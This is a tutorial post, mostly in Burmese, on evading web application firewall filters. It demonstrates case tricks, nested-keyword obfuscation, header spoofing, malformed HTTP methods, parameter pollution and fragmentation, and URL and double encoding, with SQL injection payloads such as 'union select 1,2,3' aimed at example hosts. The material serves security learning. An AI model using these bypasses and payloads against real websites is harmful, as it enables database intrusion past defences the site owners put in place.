Filter Bypassing

Description

What is Filter Bypassing ? When Web Application Firewall detect our payloads , WAF may delete our Bad Characters or replace with something . In this case , we need to bypass this WAF’s filters. ( WAF )

Contents

1.Understanding Filter ( PHP )

2.Fooling the Interpreter

Understanding Filters

<?php 
$filter=["union","select","script"];
$input=$_GET['input'];
$output=str_replace($filter, "", $input);
echo $output;
?>

ဘယ္လို အလုပ္လုပ္လဲ?

 

က်ေနာ္တို႕မလိုခ်င္တာေတြကို ဖ်က္ပစ္လိုက္လို႕ရပါတယ္။ တကယ္လို႕ တစ္ခုခုနဲ႕အစားထိုးခ်င္တယ္ဆိုလဲရတယ္။

Fooling the Interpreter

Intro အေနနဲ႕ နားလည္ေအာင္လုပ္ၾကည့္တာေပါ့။ ခုန filter ေလးနဲ႕ပဲ example ျပမယ္။

union select script lol > lol

Case Sensitivity

UNION SELECT SCRIPT

uNiOn sElEcT sCrIpT

Obfuscation

uniunionon seselectlect scscriptript // union select script

OWASP paper for WAF Bypass

https://www.owasp.org/images/6/66/OWASP_Stammtisch_Frankfurt_-_Web_Application_Firewall_Bypassing_-_how_to_defeat_the_blue_team_-_2015.10.29.pdf

Bypassing Parameter Verification

productid ဆိုတဲ့ parameter ကို ေရြးျပီး filter လုပ္ထားတယ္ဆိုရင္က်ေနာ္တို႕ productid လဲမဟုတ္ဘူး ။ ဒါေပမဲ့ အလုပ္လုပ္တဲ့ အခါမွာေတာ့ productid အျဖစ္ပဲအလုပ္လုပ္ေစတဲ့ character ရွိပါတယ္။ Filter မွာစစ္တဲ့အခ်ိန္မွာေတာ့ productid လားဆိုရင္ မဟုတ္ဘူး %20productid ပါ ။ အလုပ္လုပ္တဲ့အခါကေ်တာ့ %20 ကိုမယူေတာ့ဘူး

http://www.website.com/products.php?%20productid=select 1,2,3
http://www.website.com/products.aspx?%productid=select 1,2,3

X-* Headers

တစ္ခါတေလက်ေတာ့ WAF ေနာက္ကိုေရာက္ေနတဲ့ IP ေတြ Device ေတြကို WAF က မစစ္တာမ်ိဳးရွိပါတယ္။ သာမာန္အားျဖင့္ အဲဒီ IP ေတြကိုေျပာင္းလဲလို႕မရေပမဲ့ user အေနနဲ႕ ေအာက္က Header ေတြကိုသာေျပာင္းလဲလို႕ရမယ္ဆိုရင္ေတာ့ အေနာက္ဘက္က IP ေတြအေနနဲ႕ bypass လုပ္လို႕ရနိုင္ပါတယ္။

X-Originating-IP
X-Forwarded-For
X-Remote-IP
X-Remote-Addr

Malformed HTTP Method

တခါတေလက်ေတာ့ HTTP method ေတြထဲကမွ အသံုးမ်ားတဲ့ method ေတြျဖစ္တဲ့ GET , POST စတာေတြကိုပဲ စစ္တယ္ဆိုပါေတာ့။ က်ေနာ္တို႕က တျခား Method အေနနဲ႕ fraud လုပ္လို႕ရပါတယ္။

GET /filter_example.php?%20input=lol HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: _ga=GA1.1.980067089.1504608293
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Modified Method

LOL /filter_example.php?%20input=lol HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: _ga=GA1.1.980067089.1504608293
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

HTTP Parameter Pollution

http://www.website.com/products/?productid=1&productid=2

parameter ၂ ခုလံုးကအတူတူပဲ ျဖစ္ေပမဲ့ ဘယ္လိုကြာျခားလဲ ၾကည့္ရေအာင္

PHP မွာေတာ့ last occurence ျဖစ္တဲ့ abc value ကိုပဲယူသြားပါတယ္။ asp ဆိုရင္ဘယ္လိုလဲဆိုတာေတာ့ စမ္းၾကည့္ေပါ့။ Reference ေပးထားတဲ့ Slide မွာလဲ ၾကည့္လို႕ရပါတယ္။

IMPEDANCE MISMATCH EXAMPLE

http://www.website.com/products/?productid=1&productid=2

ဒီလိုထည့္တဲ့အခါမွာ PHP ကေတာ့ ေနာက္ဆံုးဟာကိုယူတယ္။ ဒါေပမဲ့ asp.net က်ေတာ့ ၂ ခုလံုးကို comma ခံျပီးေတာ့ ယူသြားတယ္။

1,2

ဒီလိုဆို comma ပါတဲ့ payload ေတြဆိုရင္ အသံုးတည့္နိုင္ပါတယ္။

http://www.website.com/products/?productid=union select 1&productid=2,3,4

HTTP Parameter Fragmentation

sql= "SELECT * FROM table WHERE uid= "+$_GET['uid']+" and pid= +$_GET[‘pid']“

parameter ၂ ခုက uid= နဲ႕ pid= ျဖစ္မယ္။ အလည္က and ကိုအလုပ္မလုပ္ေစခ်င္တာမ်ိဳးဆိုရင္ အရင္ 1″ or “1”=”1 သို႕မဟုတ္

1″ or 1=1# စသည္ျဖင့္ bypass လုပ္ၾကတယ္။ parameter fragementation မွာေတာ့ parameter 2 ခုလံုးမွာထည့္ျပီး အဆင္ေျပသြားတာမ်ိဳးေပါ့။

uid=1 union select/*&pid=*/1,2,3

&pid=* ကိုထည့္ထားေပမယ့္လဲ inline comment ကို SQL မွာ space အျဖစ္နဲ႕ယူတယ္ဆိုေတာ့ အလယ္ကဟာေတြအလုပ္မလုပ္ေတာ့ဘူး။ ေနာက္ဆံုးက်န္တာက

uid=1 union select 1,2,3

URL Encoding

ဒါကေတာ့ ေတာ္ေတာ္မ်ားမ်ားသိထားလိမ့္မယ္။ Hackbar မွာလဲပါတယ္ ။

<lol> // %3Clol%3E

Double Encoding

%253Clol%253E

To Be Continued …